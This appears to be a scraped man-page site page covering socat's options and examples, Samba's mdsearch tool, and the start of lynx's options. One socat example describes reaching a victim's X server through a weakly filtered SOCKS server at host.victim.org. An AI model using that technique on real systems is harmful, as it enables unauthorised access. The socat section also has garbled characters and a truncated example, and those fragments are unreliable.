Specifies the list of ciphers that may be used for the connection. See the man page of ciphers , section CIPHER LIST FORMAT, for detailed information about syntax, values, and default of <cipherlist>.
Several cipher strings may be given, separated by ’:’. Some simple cipher strings:

3DES
Uses a cipher suite with triple DES.

MD5
Uses a cipher suite with MD5.

aNULL
Uses a cipher suite without authentication.

NULL
Does not use encryption.

HIGH
Uses a cipher suite with “high” encryption. Note that the peer must support the selected property, or the negotiation will fail.

method=<ssl-method>
This option is based on deprecated functions and is only available when socat was build with option ``--with-openssl-method``. Use option min-proto-version and maybe max-proto-version instead. Sets the protocol version to be used. Valid strings (not case sensitive) are:

SSL2
Select SSL protocol version 2.

SSL3
Select SSL protocol version 3.

SSL23
Select the best available SSL or TLS protocol.

TLS1
Select TLS protocol version 1.

TLS1.1
Select TLS protocol version 1.1.

TLS1.2
Select TLS protocol version 1.2. When this option is not provided OpenSSL negotiates the mothod with its peer.

min-proto-version
This option tells OpenSSL to use this or a later SSL/TLS protocol version and refuses to accept a lower/older protocol. Valid syntax is:

SSL2
Select SSL protocol version 2.

SSL3
Select SSL protocol version 3.

TLS1

TLS1.0
Select TLS protocol version 1.

TLS1.1
Select TLS protocol version 1.1.

TLS1.2
Select TLS protocol version 1.2.

TLS1.3
Select TLS protocol version 1.3.

openssl-max-proto-version
This option is similar to min-proto-version, however, it disallows use of a higher protocol version. Useful for testing the peer.

verify[=<bool>]
Controls check of the peer’s certificate. Default is 1 (true). Disabling verify might open your socket for everyone, making the encryption useless!

cert=<filename>
Specifies the file with the certificate and private key for authentication. The certificate must be in OpenSSL format (*.pem). With openssl-listen, use of this option is strongly recommended. Except with cipher aNULL, “no shared ciphers” error will occur when no certificate is given.

key=<filename>
Specifies the file with the private key. The private key may be in this file or in the file given with the cert option. The party that has to proof that it is the owner of a certificate needs the private key.

dhparams=<filename>
Specifies the file with the Diffie Hellman parameters. These parameters may also be in the file given with the cert option in which case the dhparams option is not needed.

cafile=<filename>
Specifies the file with the trusted (root) authority certificates. The file must be in PEM format and should contain one or more certificates. The party that checks the authentication of its peer trusts only certificates that are in this file.

capath=<dirname>
Specifies the directory with the trusted (root) certificates. The directory must contain certificates in PEM format and their hashes (see OpenSSL documentation)

egd=<filename>
On some systems, openssl requires an explicit source of random data. Specify the socket name where an entropy gathering daemon like egd provides random data, e.g. /dev/egd-pool.

openssl-maxfraglen=<int>, maxfraglen=<int>
For client connections, make a Max Fragment Length Negotiation Request to the server to limit the maximum size fragment the server will send to us. Supported lengths are: 512, 1024, 2048, or 4096. Note that this option is not applicable for OPENSSL-LISTEN.

openssl-maxsendfrag=<int>, maxsendfrag=<int>
Limit the maximum size of the fragment we will send to the other side. Supported length range: 512 - 16384. Note that under OPENSSL-LISTEN, the maximum fragment size may be further limited by the client’s Maximum Fragment Length Negotiation Request, if it makes one.

pseudo
On systems where openssl cannot find an entropy source and where no entropy gathering daemon can be utilized, this option activates a mechanism for providing pseudo entropy. This is achieved by taking the current time in microseconds for feeding the libc pseudo random number generator with an initial value. openssl is then feeded with output from random() calls.
NOTE:This mechanism is not sufficient for generation of secure keys!

compress
Enable or disable the use of compression for a connection. Setting this to “none” disables compression, setting it to “auto” lets OpenSSL choose the best available algorithm supported by both parties. The default is to not touch any compression-related settings. NOTE: Requires OpenSSL 0.9.8 or higher and disabling compression with OpenSSL 0.9.8 affects all new connections in the process.

commonname=<string>
Specify the commonname that the peer certificate must match. With OPENSSL-CONNECT address this overrides the given hostname or IP target address; with OPENSSL-LISTEN this turns on check of peer certificates commonname. This option has only meaning when option verify is not disabled and the chosen cipher provides a peer certificate.

no-sni[=<bool>]
Do not use the client side Server Name Indication (SNI) feature that selects the desired server certificate.
Note: SNI is automatically used since socat version 1.7.4.0 and uses commonname or the given host name.

snihost=<string>
Set the client side Server Name Indication (SNI) host name different from the addressed server name or common name. This might be useful when the server certificate has multiple host names or wildcard names because the SNI host name is passed in cleartext to the server and might be eavesdropped; with this option a mock name of the desired certificate may be transferred.

fips
Enables FIPS mode if compiled in. For info about the FIPS encryption implementation standard see http://oss-institute.org/fips-faq.html. This mode might require that the involved certificates are generated with a FIPS enabled version of openssl. Setting or clearing this option on one socat address affects all OpenSSL addresses of this process.

RETRY option group

Options that control retry of some system calls, especially connection attempts.

retry=<num>
Number of retries before the connection or listen attempt is aborted. Default is 0, which means just one attempt.

interval=<timespec>
Time between consecutive attempts (seconds, [timespec]). Default is 1 second.

forever
Performs an unlimited number of retry attempts.

INTERFACE option group

These options may be applied to addresses INTERFACE and TUN. These address types and options are currently only implemented on Linux operating system.

Note regarding VLANs: On incoming packets the Linux kernel strips off the VLAN tag before passing the data to the user space program on raw sockets. Special measures are required to get the VLAN information, see packet(7) PACKET_AUXDATA, and to optionally insert the tag into the packet again, use option retrieve-vlan when you need this.

retrieve-vlan
On packets incoming on raw sockets, retrieve the VLAN information and insert it into the packets for further processing (Linux)

iff-up
Sets the TUN network interface status UP. Strongly recommended.

iff-broadcast
Sets the BROADCAST flag of the TUN network interface.

iff-debug
Sets the DEBUG flag of the TUN network interface.

iff-loopback
Sets the LOOPBACK flag of the TUN network interface.

iff-pointopoint
Sets the POINTOPOINT flag of the TUN device.

iff-notrailers
Sets the NOTRAILERS flag of the TUN device.

iff-running
Sets the RUNNING flag of the TUN device.

iff-noarp
Sets the NOARP flag of the TUN device.

iff-promisc
Sets the PROMISC flag of the TUN device.

iff-allmulti
Sets the ALLMULTI flag of the TUN device.

iff-master
Sets the MASTER flag of the TUN device.

iff-slave
Sets the SLAVE flag of the TUN device.

iff-multicast
Sets the MULTICAST flag of the TUN device.

iff-portsel
Sets the PORTSEL flag of the TUN device.

iff-automedia
Sets the AUTOMEDIA flag of the TUN device.

iff-dynamic
Sets the DYNAMIC flag of the TUN device.

TUN option group

Options that control Linux TUN/TAP interface device addresses.

tun-device=<device-file>
Instructs socat to take another path for the TUN clone device. Default is /dev/net/tun``.

tun-name=<if-name>
Gives the resulting network interface a specific name instead of the system generated (tun0, tun1, etc.)

tun-type=[tun|tap]
Sets the type of the TUN device; use this option to generate a TAP device. See the Linux docu for the difference between these types. When you try to establish a tunnel between two TUN devices, their types should be the same.

iff-no-pi
Sets the IFF_NO_PI flag which controls if the device includes additional packet information in the tunnel. When you try to establish a tunnel between two TUN devices, these flags should have the same values.

POSIX-MQ option group

Options that may be applied to POSIX-MQ addresses.

posixmq-priority (mq-prio)
Sets the priority of messages (packets) written to the queue, or the minimal priority of packet read from the queue.

DATA VALUES

This section explains the different data types that address parameters and address options can take.

address-range
Is currently only implemented for IPv4 and IPv6. See address-option `range’

bool
“0” or “1”; if value is omitted, “1” is taken.

byte
An unsigned int number, read with strtoul() , lower or equal to UCHAR_MAX .

command-line
A string specifying a program name and its arguments, separated by single spaces.

data
This is a more general data specification. The given text string contains information about the target data type and value. Generally a leading character specifies the type of the following data item. In its specific context a default data type may exist.
Currently only the following specifications are implemented:

  1. A signed integer number, stored in host byte order.
    Example: i-1000 (Integer number -1000)
  1. An unsigned integer number, stored in host byte order.
  1. A signed long integer number, stored in host byte order.
  1. An unsigned long integer number, stored in host byte order.
  1. A signed short integer number, stored in host byte order.
  1. An unsigned short integer number, stored in host byte order.
  1. A signed byte (signed char).
  1. An unsigned byte (unsigned char).
  1. Following is an even number of hex digits, stored as sequence of bytes.
    Example: x7f000001 (IP address 127.0.0.1)

"
Following is a string that is used with the common conversions    �; the string must be closed with ’"’. Please note that the quotes and backslashes need to be escaped from shell and socat conversion.
Example: “Hello world! “


A single char, with the usual conversions. Please note that the quotes and backslashes need to be escaped from shell and socat conversion.
Example: ’a’ Data items may be separated with white space without need to repeat the type specifier again.

directory
A string with usual UN*X directory name semantics.

facility
The name of a syslog facility in lower case characters.

fdnum
An unsigned int type, read with strtoul() , specifying a UN*X file descriptor.

filename
A string with usual UN*X filename semantics.

group
If the first character is a decimal digit, the value is read with strtoul() as unsigned integer specifying a group id. Otherwise, it must be an existing group name.

int
A number following the rules of the strtol() function with base “0”, i.e. decimal number, octal number with leading “0”, or hexadecimal number with leading “0x”. The value must fit into a C int.

interface
A string specifying the device name of a network interface as shown by ifconfig or procan, e.g. “eth0”.

IP address
An IPv4 address in numbers-and-dots notation, an IPv6 address in hex notation enclosed in brackets, or a hostname that resolves to an IPv4 or an IPv6 address.
Examples: 127.0.0.1, [::1], www.dest-unreach.org, dns1

IPv4 address
An IPv4 address in numbers-and-dots notation or a hostname that resolves to an IPv4 address.
Examples: 127.0.0.1, www.dest-unreach.org, dns2

IPv6 address
An IPv6 address in hexnumbers-and-colons notation enclosed in brackets, or a hostname that resolves to an IPv6 address.
Examples: [::1], [1234:5678:9abc:def0:1234:5678:9abc:def0], ip6name.domain.org

long
A number read with strtol() . The value must fit into a C long.

long long
A number read with strtoll() . The value must fit into a C long long.

off_t
An implementation dependend signed number, usually 32 bits, read with strtol or strtoll.

off64_t
An implementation dependend signed number, usually 64 bits, read with strtol or strtoll.

mode_t
An unsigned integer, read with strtoul() , specifying mode (permission) bits.

pid_t
A number, read with strtol() , specifying a process id.

port
A uint16_t (16 bit unsigned number) specifying a TCP or UDP port, read with strtoul() .

protocol
An unsigned 8 bit number, read with strtoul() .

size_t
An unsigned number with size_t limitations, read with strtoul .

sockname
A socket address. See address-option `bind’

string
A sequence of characters, not containing ’�’ and, depending on the position within the command line, ’:’, ’,’, or “!!”. Note that you might have to escape shell meta characters in the command line.

TCP service
A service name, not starting with a digit, that is resolved by getservbyname() , or an unsigned int 16 bit number read with strtoul() .

timeval
A double float specifying seconds; the number is mapped into a struct timeval, consisting of seconds and microseconds.

timespec
A double float specifying seconds; the number is mapped into a struct timespec, consisting of seconds and nanoseconds.

UDP service
A service name, not starting with a digit, that is resolved by getservbyname() , or an unsigned int 16 bit number read with strtoul() .

unsigned int
A number read with strtoul() . The value must fit into a C unsigned int.

user
If the first character is a decimal digit, the value is read with strtoul() as unsigned integer specifying a user id. Otherwise, it must be an existing user name.

VSOCK cid
A uint32_t (32 bit unsigned number) specifying a VSOCK Context Identifier (CID), read with strtoul() . There are several special addresses: VMADDR_CID_ANY (-1U) means any address for binding; VMADDR_CID_HOST (2) is the well-known address of the host.

VSOCK port
A uint32_t (32 bit unsigned number) specifying a VSOCK port, read with strtoul() .

EXAMPLES

.LP .nf socat - TCP4:www.domain.org:80 .RE .fi

transfers data between STDIO (-) and a TCP4 connection to port 80 of host www.domain.org. This example results in an interactive connection similar to telnet or netcat. The stdin terminal parameters are not changed, so you may close the relay with ^D or abort it with ^C.

.LP .nf *socat * .RS *TCP4-LISTEN:www * TCP4:www.domain.org:www .RE .fi

installs a simple TCP port forwarder. With TCP4-LISTEN it listens on local port “www” until a connection comes in, accepts it, then connects to the remote host (TCP4) and starts data transfer. It will not accept a second connection.

.LP .nf *socat -d -d -lmlocal2 * .RS *TCP4-LISTEN:80,bind=myaddr1,reuseaddr,fork,su=nobody,range=10.0.0.0/8 * TCP4:www.domain.org:80,bind=myaddr2 .RE .fi

TCP port forwarder, each side bound to another local IP address (bind). This example handles an almost arbitrary number of parallel or consecutive connections by fork’ing a new process after each accept() . It provides a little security by su’ing to user nobody after forking; it only permits connections from the private 10 network (range); due to reuseaddr, it allows immediate restart after master process’s termination, even if some child sockets are not completely shut down. With -lmlocal2, socat logs to stderr until successfully reaching the accept loop. Further logging is directed to syslog with facility local2.

.LP .nf *socat * .RS *TCP4-LISTEN:5555,fork,tcpwrap=script * EXEC:/bin/myscript,chroot=/home/sandbox,su-d=sandbox,pty,stderr .RE .fi

a simple server that accepts connections (TCP4-LISTEN) and fork’s a new child process for each connection; every child acts as single relay. The client must match the rules for daemon process name “script” in /etc/hosts.allow and /etc/hosts.deny, otherwise it is refused access (see “man 5 hosts_access”). For EXEC’uting the program, the child process chroot’s to /home/sandbox, su’s to user sandbox, and then starts the program /home/sandbox/bin/myscript. Socat and myscript communicate via a pseudo tty (pty); myscript’s stderr is redirected to stdout, so its error messages are transferred via socat to the connected client.

.LP .nf *socat * .RS *EXEC:“mail.sh [email protected]”,fdin=3,fdout=4 * TCP4:mail.relay.org:25,crnl,bind=alias1.server.org,mss=512 .RE .fi

mail.sh is a shell script, distributed with socat, that implements a simple SMTP client. It is programmed to “speak” SMTP on its FDs 3 (in) and 4 (out). The fdin and fdout options tell socat to use these FDs for communication with the program. Because mail.sh inherits stdin and stdout while socat does not use them, the script can read a mail body from stdin. Socat makes alias1 your local source address (bind), cares for correct network line termination (crnl) and sends at most 512 data bytes per packet (mss).

.LP .nf *socat * .RS *-,escape=0x0f * /dev/ttyS0,rawer,crnl .RE .fi

opens an interactive connection via the serial line, e.g. for talking with a modem. rawer sets the console’s and ttyS0’s terminal parameters to practicable values, crnl converts to correct newline characters. escape allows terminating the socat process with character control-O.

.LP .nf *socat * .RS *UNIX-LISTEN:/tmp/.X11-unix/X1,fork * SOCKS4:host.victim.org:127.0.0.1:6000,socksuser=nobody,sourceport=20 .RE .fi

with UNIX-LISTEN, socat opens a listening UNIX domain socket /tmp/.X11-unix/X1. This path corresponds to local XWindow display :1 on your machine, so XWindow client connections to DISPLAY=:1 are accepted. Socat then speaks with the SOCKS4 server host.victim.org that might permit sourceport 20 based connections due to an FTP related weakness in its static IP filters. Socat pretends to be invoked by socksuser nobody, and requests to be connected to loopback port 6000 (only weak sockd configurations will allow this). So we get a connection to the victims XWindow server and, if it does not require MIT cookies or Kerberos authentication, we can start work. Please note that there can only be one connection at a time, because TCP can establish only one session with a given set of addresses and ports.

.LP .nf *socat -u * .RS */tmp/readdata,seek-end=0,ignoreeof * STDIO .RE .fi

this is an example for unidirectional data transfer (-u). Socat transfers data from file /tmp/readdata (implicit address GOPEN), starting at its current end (seek-end=0 lets socat start reading at current end of file; use seek=0 or no seek option to first read the existing data) in a “tail -f” like mode (ignoreeof). The “file” might also be a listening UNIX domain socket (do not use a seek option then).

.LP .nf *(sleep 5; echo PASSWORD; sleep 5; echo ls; sleep 1) | * *socat - * .RS EXEC:‘ssh -l user server’,pty,setsid,ctty .RE .fi

EXEC’utes an ssh session to server. Uses a pty for communication between socat and ssh, makes it ssh’s controlling tty (ctty), and makes this pty the owner of a new process group (setsid), so ssh accepts the password from socat.

.LP .nf *socat -u * .RS *TCP4-LISTEN:3334,reuseaddr,fork * OPEN:/tmp/in.log,creat,append .RE .fi

implements a simple network based message collector. For each client connecting to port 3334, a new child process is generated (option fork). All data sent by the clients are append’ed to the file /tmp/in.log. If the file does not exist, socat creat’s it. Option reuseaddr allows immediate restart of the server process.

.LP .nf *socat * .RS *PTY,link=$HOME/dev/vmodem0,rawer,wait-slave * EXEC:’“ssh modemserver.us.org socat - /dev/ttyS0,nonblock,rawer”’ .RE .fi

generates a pseudo terminal device (PTY) on the client that can be reached under the symbolic link $HOME/dev/vmodem0. An application that expects a serial line or modem can be configured to use $HOME/dev/vmodem0; its traffic will be directed to a modemserver via ssh where another socat instance links it to /dev/ttyS0.

.LP .nf *sudo socat –experimental * .RS *TCP4-LISTEN:8000,reuseaddr,fork,netns=namespace1 * TCP4-CONNECT:server2:8000 .RE .fi

creates a listener in the given network namespace that accepts TCP connections on port 8000 and forwards them to server2.

.LP .nf *sudo socat –experimental * .RS *TUN:192.168.2.1/24,up * TUN:192.168.2.2/24,up,netns=namespace2 .RE .fi

creates two virtual network interfaces, one in default namespace, the other one in namespace2, and forwards packets between them, acting as a virtual network connection.

.LP .nf *socat * .RS *TCP4-LISTEN:2022,reuseaddr,fork * PROXY:proxy.local:www.domain.org:22,proxyport=3128,proxyauth=username:s3cr3t .RE .fi

starts a forwarder that accepts connections on port 2022, and directs them through the proxy daemon listening on port 3128 (proxyport) on host proxy.local, using the CONNECT method, where they are authenticated as “username” with “s3cr3t” (proxyauth). proxy.local should establish connections to host www.domain.org on port 22 then.

.LP .nf *socat - * .RS SSL:server:4443,cafile=./server.crt,cert=./client.pem .RE .fi

is an OpenSSL client that tries to establish a secure connection to an SSL server. Option cafile specifies a file that contains trust certificates: we trust the server only when it presents one of these certificates and proofs that it owns the related private key. Otherwise the connection is terminated. With cert a file containing the client certificate and the associated private key is specified. This is required in case the server wishes a client authentication; many Internet servers do not.
The first address (’-’) can be replaced by almost any other socat address.

.LP .nf *socat * .RS *OPENSSL-LISTEN:4443,reuseaddr,pf=ip4,fork,cert=./server.pem,cafile=./client.crt * PIPE .RE .fi

is an OpenSSL server that accepts TCP connections, presents the certificate from the file server.pem and forces the client to present a certificate that is verified against cafile.crt.
The second address (’PIPE’) can be replaced by almost any other socat address.
For instructions on generating and distributing OpenSSL keys and certificates see the additional socat docu socat-openssl.txt.

.LP .nf echo | socat -u - \ .RS FILE:/tmp/bigfile,create,largefile,seek=100000000000 .RE .fi

creates a 100GB+1B sparse file; this requires a file system type that supports this (ext2, ext3, ext4, reiserfs, xfs; not minix, vfat). The operation of writing 1 byte might take long (reiserfs: some minutes; ext2: “no” time), and the resulting file can consume some disk space with just its inodes (reiserfs: 2MB; ext2: 16KB).

.LP .nf *socat * .RS *TCP-L:7777,reuseaddr,fork * SYSTEM:‘filan -i 0 -s >&2’,nofork .RE .fi

listens for incoming TCP connections on port 7777. For each accepted connection, invokes a shell. This shell has its stdin and stdout directly connected to the TCP socket (nofork). The shell starts filan and lets it print the socket addresses to stderr (your terminal window).

.LP .nf **echo -e “�\14��

1071 - Linux cli command mdsearch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mdsearch and provides detailed information about the command mdsearch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mdsearch.

NAME 🖥️ mdsearch 🖥️

Run Spotlight searches against an SMB server

SYNOPSIS

mdfine {server} {sharename} {query} [-p, –path=STRING] [-L, –live] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] [-R|–name-resolve=NAME-RESOLVE-ORDER] [-O|–socket-options=SOCKETOPTIONS] [-m|–max-protocol=MAXPROTOCOL] [-n|–netbiosname=NETBIOSNAME] [–netbios-scope=SCOPE] [-W|–workgroup=WORKGROUP] [–realm=REALM] [-U|–user=[DOMAIN/]USERNAME[%PASSWORD]] [-N|–no-pass] [–password=STRING] [–pw-nt-hash] [-A|–authentication-file=FILE] [-P|–machine-pass] [–simple-bind-dn=DN] [–use-kerberos=desired|required|off] [–use-krb5-ccache=CCACHE] [–use-winbind-ccache] [–client-protection=sign|encrypt|off] [-V|–version]

DESCRIPTION

This tool is part of the samba(1) suite.

mdsearch is a simple utility to run Spotlight searches against an SMB server that runs the Spotlight mdssvc RPC service.

OPTIONS

server

The SMB server name or IP address to connect to.

sharename

The name of a share on the server.

query

The query expression syntax is a simplified form of filename globbing familiar to shell users. Queries have the following format:

attribute==“value”

For queries against a Samba server with Spotlight enabled using the Elasticsearch backend, the list of supported metadata attributes is given by the JSON attribute mapping file, typically installed at /usr/share/samba/mdssvc/elasticsearch_mappings.json

-p PATH, –path=PATH

Server side path to search, defaults to "/"

-L, –live

Query remains running.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-U|–user=[DOMAIN\USERNAME[%PASSWORD]

Sets the SMB username or username and password.

If %PASSWORD is not specified, the user will be prompted. The client will first check the USER environment variable (which is also permitted to also contain the password separated by a %), then the LOGNAME variable (which is not permitted to contain a password) and if either exists, the value is used. If these environmental variables are not found, the username found in a Kerberos Credentials cache may be used.

A third option is to use a credentials file which contains the plaintext of the username and password. This option is mainly provided for scripts where the admin does not wish to pass the credentials on the command line or via environment variables. If this method is used, make certain that the permissions on the file restrict access from unwanted users. See the -A for more details.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

-N|–no-pass

If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password.

Unless a password is specified on the command line or this parameter is specified, the client will request a password.

If a password is specified on the command line and this option is also defined the password on the command line will be silently ignored and no password will be used.

–password

Specify the password on the commandline.

Be cautious about including passwords in scripts or passing user-supplied values onto the command line. For security it is better to let the Samba client tool ask for the password if needed, or obtain the password once with kinit.

If –password is not specified, the tool will check the PASSWD environment variable, followed by PASSWD_FD which is expected to contain an open file descriptor (FD) number.

Finally it will check PASSWD_FILE (containing a file path to be opened). The file should only contain the password. Make certain that the permissions on the file restrict access from unwanted users!

While Samba will attempt to scrub the password from the process title (as seen in ps), this is after startup and so is subject to a race.

–pw-nt-hash

The supplied password is the NT hash.

-A|–authentication-file=filename

This option allows you to specify a file from which to read the username and password used in the connection. The format of the file is:

			username = <value>
				password = <value>
				domain   = <value>

Make certain that the permissions on the file restrict access from unwanted users!

-P|–machine-pass

Use stored machine account password.

–simple-bind-dn=DN

DN to use for a simple bind.

–use-kerberos=desired|required|off

This parameter determines whether Samba client tools will try to authenticate using Kerberos. For Kerberos authentication you need to use dns names instead of IP addresses when connecting to a service.

Note that specifying this parameter here will override the client use kerberos parameter in the /etc/samba/smb.conf file.

–use-krb5-ccache=CCACHE

Specifies the credential cache location for Kerberos authentication.

This will set –use-kerberos=required too.

–use-winbind-ccache

Try to use the credential cache by winbind.

–client-protection=sign|encrypt|off

Sets the connection protection the client tool should use.

Note that specifying this parameter here will override the client protection parameter in the /etc/samba/smb.conf file.

In case you need more fine grained control you can use: –option=clientsmbencrypt=OPTION, –option=clientipcsigning=OPTION, –option=clientsigning=OPTION.

EXAMPLES

Search all indexed metadata attributes, exact match:

  *=="Samba"

Search all indexed metadata attributes, prefix match:

  *=="Samba*"

Search by filename:

  kMDItemFSName=="Samba*"

Search by date:

  kMDItemFSContentChangeDate<$time.iso(2018-10-01T10:00:00Z)

Search filess content:

  kMDItemTextContent=="Samba*"

Expressions:

  kMDItemFSName=="Samba*"||kMDItemTextContent=="Tango*"

SEE ALSO

File Metadata Search Programming Guide https://developer.apple.com/library/archive/documentation/Carbon/Conceptual/SpotlightQuery/Concepts/Introduction.html

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

The mdsearch manpage was written by Ralph Boehme.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1072 - Linux cli command lynx

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lynx and provides detailed information about the command lynx, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lynx.

NAME 🖥️ lynx 🖥️

a general purpose distributed information browser for the World Wide Web

SYNOPSIS

lynx [options] [optional paths or URLs]

lynx [options] [path or URL] -get_data
data

lynx [options] [path or URL] -post_data
data

Use lynx -help to display a complete list of current options.

DESCRIPTION

Lynx is a fully-featured World Wide Web (WWW) client for users running cursor-addressable, character-cell display devices (e.g., vt100 terminals, vt100 emulators running on Windows or any POSIX platform, or any other curses-oriented display). It will display hypertext markup language (HTML) documents containing links to files residing on the local system, as well as files residing on remote systems running Gopher, HTTP, FTP, WAIS, and NNTP servers.

Lynx has been ported to many systems, including all variants of Unix, Windows (since Windows 95), DOS DJGPP and OS/2, as well as VMS and OS/390.

Lynx can be used to access information on the World Wide Web, or to build information systems intended primarily for local access. For example, Lynx has been used to build several Campus Wide Information Systems (CWIS). In addition, Lynx can be used to build systems isolated within a single LAN.

OPTIONS

At start up, Lynx will load any local file or remote URL specified at the command line. For help with URLs, press ? or H while running Lynx. Then follow the link titled, Help on URLs.

If more than one local file or remote URL is listed on the command line, Lynx will open only the last interactively. All of the names (local files and remote URLs) are added to the G)oto history.

Lynx uses only long option names. Option names can begin with double dash – as well, underscores and dashes can be intermixed in option names (in the reference below, options are shown with one dash - before them, and with underscores _).

Lynx provides many command-line options. Some options require a value (string, number or keyword). These are noted in the reference below. The other options set boolean values in the program. There are three types of boolean options: set, unset and toggle. If no option value is given, these have the obvious meaning: set (to true), unset (to false), or toggle (between true/false). For any of these, an explicit value can be given in different forms to allow for operating system constraints, e.g.,

-center:off
-center=off
-center-

Lynx recognizes 1, +, on and true for true values, and 0, -, off and false for false values. Other option-values are ignored.

The default boolean, number and string option values that are compiled into Lynx are displayed in the help-message provided by lynx -help. Some of those may differ according to how Lynx was built; see the help message itself for these values. The -help option is processed in the third pass of options-processing, so any option which sets a value, as well as runtime configuration values are reflected in the help-message.

-
If the argument is only -, then Lynx expects to receive the arguments from the standard input. This is to allow for the potentially very long command line that can be associated with the -get_data or -post_data arguments (see below). It can also be used to avoid having sensitive information in the invoking command line (which would be visible to other processes on most systems), especially when the -auth or -pauth options are used.

-accept_all_cookies
accept all cookies.

-anonymous
apply restrictions for anonymous account, see also -restrictions.

-assume_charset=MIMEname
charset for documents that do not specify it.

-assume_local_charset=MIMEname
charset assumed for local files, i.e., files which Lynx creates such as internal pages for the options menu.

-assume_unrec_charset=MIMEname
use this instead of unrecognized charsets.

-auth=ID:PASSWD
set authorization ID and password for protected documents at startup. Be sure to protect any script files which use this switch.

-base
prepend a request URL comment and BASE tag to text/html outputs for -source dumps.

-bibhost=URL
specify a local bibp server (default http://bibhost/).

-blink
forces high intensity background colors for color mode, if available and supported by the terminal. This applies to the slang library (for a few terminal emulators), or to OS/2 EMX with ncurses.

-book
use the bookmark page as the startfile. The default or command line startfile is still set for the Main screen command, and will be used if the bookmark page is unavailable or blank.

-buried_news
toggles scanning of news articles for buried references, and converts them to news links. Not recommended because email addresses enclosed in angle brackets will be converted to false news links, and uuencoded messages can be trashed.

-cache=NUMBER
set the NUMBER of documents cached in memory. The default is 10.

-case
enable case-sensitive string searching.

-center
toggles center alignment in HTML TABLE. Normally table cells are centered on the table grid. Set this option on to disable centering. The default is off.

-cfg=FILENAME
specifies a Lynx configuration file other than the default lynx.cfg.

-child
exit on left-arrow in startfile, and disable save to disk and associated print/mail options.

-child_relaxed
exit on left-arrow in startfile, but allow save to disk and associated print/mail options.

-cmd_log=FILENAME
write keystroke commands and related information to the specified file.

-cmd_script=FILENAME
read keystroke commands from the specified file. You can use the data written using the -cmd_log option. Lynx will ignore other information which the command-logging may have written to the logfile. Each line of the command script contains either a comment beginning with #, or a keyword:

exit
causes the script to stop, and forces Lynx to exit immediately.

key
the character value, in printable form. Cursor and other special keys are given as names, e.g., Down Arrow. Printable 7-bit ASCII codes are given as-is, and hexadecimal values represent other 8-bit codes.

set
followed by a name=value allows one to override values set in the lynx.cfg or .lynxrc files. Lynx tries the cfg-file setting first.

-collapse_br_tags
toggles collapsing of BR tags.

-color
forces color mode on, if available. Default color control sequences which work for many terminal types are assumed if the terminal capability description does not specify how to handle color. Lynx needs to be compiled with the slang library for this flag, it is equivalent to setting the COLORTERM environment variable. (If color support is instead provided by a color-capable curses library like ncurses, Lynx relies completely on the terminal description to determine whether color mode is possible, and this flag is not needed and thus unavailable.) A saved show_color=always setting found in a .lynxrc file at startup has the same effect. A saved show_color=never found in .lynxrc on startup is overridden by this flag.

-connect_timeout=N
Sets the connection timeout, where N is given in seconds.

-cookie_file=FILENAME
specifies a file to use to read cookies. If none is specified, the default value is ~/.lynx_cookies for most systems, but ~/cookies for MS-DOS.

-cookie_save_file=FILENAME
specifies a file to use to store cookies. If none is specified, the value given by -cookie_file is used.

-cookies
toggles handling of Set-Cookie headers.

-core
toggles forced core dumps on fatal errors. Turn this option off to ask Lynx to force a core dump if a fatal error occurs.

-crawl
